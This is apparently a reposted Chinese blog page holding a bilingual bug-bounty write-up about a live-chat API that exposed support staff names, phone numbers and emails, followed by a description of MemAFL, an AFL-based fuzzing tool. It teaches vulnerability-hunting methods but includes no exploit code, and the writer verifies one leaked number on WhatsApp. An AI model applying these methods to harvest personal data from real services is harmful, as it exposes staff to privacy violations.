    Sep 2, 2021 — $42000 bounty awarded by Facebook. 2021年9月2日ー4.2万美元 Facebook 悬赏

【转载】【漏洞分析】Information Disclosure via External Live Chat Service

Hi folks!

嗨,伙计们!

I hope you’re all safe and good. Today’s writeup I explains how I was able to fetch website staffs first names, phone numbers, e-mail address through external live chat service.

我希望你们都平安无事。今天的写作我解释了我是如何通过外部实时聊天服务获取网站工作人员的姓名、电话号码、电子邮件地址的。

I found this vulnerability in HackerOne at a private program. So we can call that program as redacted.com . Firstly, I looked for a live chat service on main domain but I can’t found anything. Then, I registered to website. Now I can see live chat is there. I sent some messages to live chat service. But seems it’s a auto reply chat service. I lost my momentary joy.

我在 HackerOne 的一个私人项目中发现了这个漏洞。所以我们可以把这个程序命名为 recated.com。首先,我在主域名上寻找一个在线聊天服务,但是我找不到任何东西。然后,我注册了一个网站。现在我可以看到在线聊天是有的。我发了一些消息到在线聊天服务。但它似乎是一个自动回复聊天服务。我失去了瞬间的快乐。

After I finished my research on main domain, I started to examine request history in Burp Suite. I saw a https://api.redactedchatservice.com/restapi/v1/team/user/members?access-token=jwttokenrequest.

在完成了对主域的研究之后,我开始检查 Burp Suite 中的请求历史。我看到了一个 https://api.redactedchatservice.com/restapi/v1/team/user/members?access-token=jwttokenrequest。

Well, probably I found 298 phone numbers of live support agents!

也许我找到了298个现场支援人员的电话号码!

Then I checked a phone number’s WhatsApp account to verify if it was a physical (real) sim card. Yes! That phone number have a WhatsApp acount, so it’s a physical phone number. And then I immediately reported it.

然后我检查了一个电话号码的 WhatsApp 账户,以确认这是否是一张实体的(真实的) sim 卡。太好了!这个电话号码有一个 WhatsApp 账号,所以它是一个实体电话号码。然后我立刻报告了这件事。

Report Timeline

报告时间表

  • Submitted on July 2, 2021 2021年7月2日提交
  • Fixed on July 6, 2021 2021年7月6日固定
  • $$$ bounty awarded on July 20, 2021 as Medium severity. 二○二一年七月二十日颁发中等严重程度港币奖金
My react after report triaged 😀 我的反应后报告分类: d

Thanks for reading my first writeup. Happy to share this find with you all. If you found anything interesting feel free to share. DM me on Twitter if you have any queries. Stay home and stay safe! ♥

感谢阅读我的第一篇文章。很高兴与大家分享这一发现。如果你发现任何有趣的东西,请随时分享。如果你有任何疑问,可以在推特上给我留言。呆在家里,注意安全!别忘了

【转载】基于AFL改进的内存敏感的模糊测试工具MemAFL

原文:https://xz.aliyun.com/t/10023

项目地址

MemAFL:https://github.com/treebacker/MemAFL

简要介绍

一句话:属于本人的毕业设计实现的一个AFL改进的模糊测试工具,也是帮助本人第一次刷CVE的工具。

主要基于llvm做的插桩上的改进,改进的几个重点(改进代码都在mm_metric目录下)

  • 程序的预分析

    通过llvm在每一个module中分析字符串处理函数,对于strcmpstrcpystrcat等这种函数如果引用了常量字符串,那么说明这些字符串有影响程序控制流的可能,将保留作为种子因素,参与后续的种子变异中。

  • 内存敏感

    主要从两个方面,一个是指令级,会记录每一个种子程序的执行路径覆盖的mem-operation情况。

    另一个是函数级,对于敏感函数,如mallocfree等,会偏向于覆盖这些路径。

  • 路径覆盖

    基于插桩获取的信息,覆盖更多的路径,继承的AFL的策略,加上了内存敏感的路径覆盖。

    另外,也会记录路径中的子函数调用情况,优先选择调用子函数更频繁的种子。

  • 哈希碰撞率的缓解

    研究过AFL原理的应该记得,AFL使用的路径记录策略,当程序基本块量足够大时,会有很大概率的哈希碰撞情况。由于基于覆盖率的模糊测试依赖于路径,路径信息的错误使得后续很多策略都是受到误导的。

    缓解的思想如下图:

    在AFL中,这个函数会被插入三个BlockID,但是MemAFL只会插入一个BlockID。

    原因如下:

    函数的入口基本块,只要执行该函数就一定会执行完全该基本块,不存在去区分路径,所以就省去了插桩。

    对于函数退出基本块,如果是唯一的,那么也适用于这个道理。

    通过减少插桩点,对应的,需要记录的路径信息减少了,经过测试可以降低10%-20%的哈希碰撞率。

发现的CVE

​ 都是一些没什么利用价值的开源软件…,上图

最后

​ 其实总体上,做出的改进并不多,但是效果作为毕设我还是挺意外的,毕业证拿到了,想开源出来(被捶认了),欢迎师傅交流,一起学习漏洞挖掘漏洞利用啊!